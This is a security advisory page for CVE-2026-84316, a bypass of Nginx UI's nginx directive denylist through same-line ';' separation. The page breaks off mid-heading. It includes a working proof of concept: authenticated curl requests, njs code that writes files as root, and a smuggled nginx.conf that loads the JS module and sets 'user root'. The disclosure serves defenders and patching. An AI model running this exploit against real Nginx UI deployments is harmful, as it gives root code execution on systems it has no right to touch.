Nginx UI: nginx config directive denylist (ValidateConfigFile) is bypassable via same-line ";" separation → authenticated directive injection (RCE on the official image)
CVE-2026-84316 · GHSA-cf23-7qxj-xmhr · GO-2026-6782 · published 15 Oct 2026
How serious is it
- Severity: high, CVSS score 8.8 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-84316?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
github.com/0xJacky/Nginx-UI(Go) < 1.9.10-0.20260703131214-23d1934099b0
How to check
- Run
go list -m github.com/0xJacky/Nginx-UIin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
github.com/0xJacky/Nginx-UIto 1.9.10-0.20260703131214-23d1934099b0 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Summary
`config.ValidateConfigFile` is the security control that blocks dangerous nginx directives
(`js_*`, `perl_*`, `load_module` of njs/perl modules, `user root`). Its directive scanner is
bypassable: it splits the config by newlines and inspects only the FIRST token of each line, but
nginx separates directives with `;`, not newlines. Putting a benign directive first and the blocked
directive after a `;` on the SAME line defeats every check. The `include` directive is also not on
the denylist. As a result, an authenticated caller can inject the exact directives the hardening was
meant to block, through EVERY path that calls the validator — `POST /api/configs` (add), the REST
config modify endpoint (api/config/modify.go), the MCP `nginx_config_modify` tool, and the
site/stream save paths (internal/site/save.go, internal/stream/save.go). On deployments where
nginx has the njs/perl module (the official uozi/nginx-ui Docker image ships ngx_http_js_module.so),
this leads to code execution in the nginx worker; with `user root` the workers run as root.
This is distinct from the config_add gap (the MCP nginx_config_add tool not calling the validator at
all): here the validator IS called and still bypassed, so fixing config_add does not fix this.
## Root cause (internal/config/validation.go, ValidateConfigDirectives)
```go
for _, line := range bytes.Split(content, []byte("\n")) { // splits on \n only
trimmed := strings.TrimSpace(string(line))
...
directive := firstDirectiveToken(trimmed) // first [a-zA-Z_]* of the line
if directive == "user" && configuresRootWorkers(trimmed) { ... } // keyed on first token
if directive == "load_module" && loadsRestrictedDynamicModule(...) { ... } // keyed on first token
if _, blocked := blockedConfigDirectives[directive]; blocked { ... } // keyed on first token
}
```
nginx parses `a 1; b 2;` on one line as two directives, but this scanner only ever sees `a`.
`include` is absent from `blockedConfigDirectives`.
## Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — VALIDATED paths only
Authenticated with a node secret (`X-Node-Secret`, from nginx-ui's first-boot log) or a user JWT.
Every step below hits a path that calls ValidateConfigFile.
1) Baseline — validator works on a plain line:
```
curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \
-d '{"name":"x.conf","base_dir":"","content":"js_import a.js;","overwrite":true}'
# -> 40017 "file content contains restricted nginx directive: js_import" (REJECTED)
```
2) Create the njs module file via the VALIDATED REST add (JS source is not nginx directives, so it
passes ValidateConfigContent):
```
poc.conf:
import fs from 'fs';
function pwn(r){ fs.writeFileSync('/tmp/NJS_VIA_DENYLIST_BYPASS.txt','denylist-bypass-rce-ok\n'); r.return(200,'pwned2\n'); }
export default { pwn };
curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \
-d '{"name":"poc.conf","base_dir":"","content":"<the JS above>","overwrite":true}' # ACCEPTED
```
3) Overwrite the main nginx.conf via the VALIDATED `nginx_config_modify` MCP tool, smuggling each
blocked directive after a benign one on the SAME line (this is ACCEPTED by ValidateConfigFile):
```nginx
worker_processes 1; load_module /usr/lib/nginx/modules/ngx_http_js_module.so;
error_log /var/log/nginx/error.log notice; user root;
pid /run/nginx.pid;
events { worker_connections 1024; }
http {
include /etc/nginx/mime.types;
default_type application/octet-stream; js_import poc from /etc/nginx/poc.conf;
server { listen 8897; location = /pwn3 { js_content poc.pwn; } }
}
```
4) Reload. Result:
- `nginx -t` successful.
- worker `/proc/<pid>/status` → `Uid: 0 0 0 0` (root) — the blocked `user root` took effect.
- `GET http://127.0.0.1:8897/pwn3` → `pwned2` — js_content executed.
- `/tmp/NJS_VIA_DENYLIST_BYPASS.txt` created, owned by root → njs code execution as root.
(An MCP-over-SSE client for steps using nginx_config_modify is included in the config_add report as
`poc_mcp_client.py`; the same client drives this PoC. `X-Node-Secret` authenticates both REST and MCP.)
## Impact
Authenticated config-injection that defeats the directive-validation control on all guarded write
paths. On deployments with njs/perl available (the official Docker image ships ngx_http_js_module.so):
code execution in the nginx worker and, via `user root`, arbitrary file read/write as root (trivially
escalated to full host compromise). On stock nginx without those modules: reliable DoS (failed
reload) plus `user root` privilege regression.
## Honest scope / caveats
- Authenticated (node secret or user JWT), agent-mediated — not unauthenticated.
- What was live-verified: the bypass + full RCE on `POST /api/configs` (add) and the MCP
`nginx_config_modify` tool. The other callers — REST config modify (api/config/modify.go), site
save (internal/site/save.go), stream save (internal/stream/save.go) — invoke the SAME
`ValidateConfigFile` (code-confirmed), so they are affected by construction; I did not individually
live-test each.
- RCE is conditional on the njs/perl module being present; it ships in the official image, so the
default Docker deployment is exploitable. On stock nginx without those modules the injected
`load_module`/`js_*` make reload fail → DoS plus a `user root` privilege regression (inferred from
nginx module behavior; not separately tested on a stock build).
- The `;` and `include` bypasses are fully confirmed live. A backslash line-continuation variant was
accepted by the validator but its nginx parsing was not separately confirmed and is not relied on.
- "Full host compromise" describes the capability of root file read/write via njs `fs` (proven: a
root-owned file was written); the subsequent authorized_keys/cron step is a well-known escalation,
not something this PoC executed.
## Suggested f…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/0xJacky/nginx-ui/security/advisories/GHSA-cf23-7qxj-xmhr
- nvd.nist.gov/vuln/detail/CVE-2026-84316
- github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2
- github.com/0xJacky/nginx-ui/releases/tag/v2.4.1
- github.com/advisories/GHSA-cf23-7qxj-xmhr
Merged from GitHub Advisory Database, OSV. Last updated 23 Oct 2026. All vulnerabilities · RSS · JSON